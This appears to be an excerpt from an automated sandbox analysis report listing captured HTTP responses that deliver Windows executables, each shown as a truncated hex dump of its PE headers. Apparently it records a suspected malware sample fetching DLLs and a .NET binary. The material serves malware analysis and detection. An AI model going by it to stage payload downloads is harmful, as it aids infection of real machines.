Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Sep 2024 06:17:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Sep 2024 06:17:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Sep 2024 06:17:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Sep 2024 06:17:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Sep 2024 06:17:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Sep 2024 06:17:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Fri, 06 Sep 2024 06:17:54 GMTContent-Type: application/octet-streamContent-Length: 301608Last-Modified: Thu, 05 Sep 2024 22:53:24 GMTConnection: keep-aliveETag: "66da3664-49a28"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e9 35 da 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 68 04 00 00 0a 00 00 00 00 00 00 de 86 04 00 00 20 00 00 00 a0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 04 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 86 04 00 4b 00 00 00 00 a0 04 00 14 06 00 00 00 00 00 00 00 00 00 00 00 74 04 00 28 26 00 00 00 c0 04 00 0c 00 00 00 4c 86 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 66 04 00 00 20 00 00 00 68 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 14 06 00 00 00 a0 04 00 00 08 00 00 00 6a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 04 00 00 02 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 86 04 00 00 00 00 00 48 00 00 00 02 00 05 00 28 26 00 00 88 17 00 00 03 00 02 00 0b 00 00 06 b0 3d 00 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 5d 00 00 00 01 00 00 11 2b 05 28 61 47 0b 30 7e 01 00 00 04 3a 4b 00 00 00 17 80 01 00 00 04 28 10 00 00 0a 20 e8 07 00 00 20 09 00 00 00 20 06 00 00 00 73 11 00 00 0a 28 12 00 00 0a fe 0e 00 00 fe 0d 00 00 28 13 00 00 0a 28 14 00 00 0a 20 0e 00 00 00 3f 0b 00 00 00 72 01 00 00 70 73 15 00 00 0a 7a 2a 00 00 00 36 2b 05 28 fd 88 56 62 28 01 00 00 06 2a 00 00 4e 2b 05 28 9b f4 78 44 28 15 00 00 06 02 28 16 00 00 0a 2a fa 2b 05 28 8a ae 02 32 28 15 00 00 06 1f 10 8d 1c 00 00 01 25 d0 06 00 00 04 28 17 00 00 0a 80 02 00 00 04 20 00 24 04 00 8d 1c 00 00 01 25 d0 07 00 00 04 28 17 00 00 0a 80 03 00 00 04 2a 00 6a 2b 05 28 90 b9 28 67 28 15 00 00 06 02 28 16 00 00 0a 02 03 28 06 00 00 06 2a 00 13 30 03 00 34 00 00 00 02 00 00 11 2b 05 28 fe 13 02 68 03 0b 16 0c 38 12 00 00 00 07 08 6f 18 00 00 0a 0a 06 28 19 00 00 0a 08 17 58 0c 08 07 6f 1a 00 00 0a 3f e2 ff ff ff 28 1b 00 00 0a 2a 13 30 06 00 4b 02 00 00 03 00 00 11 20 00 01 00 00 8d 1c 0
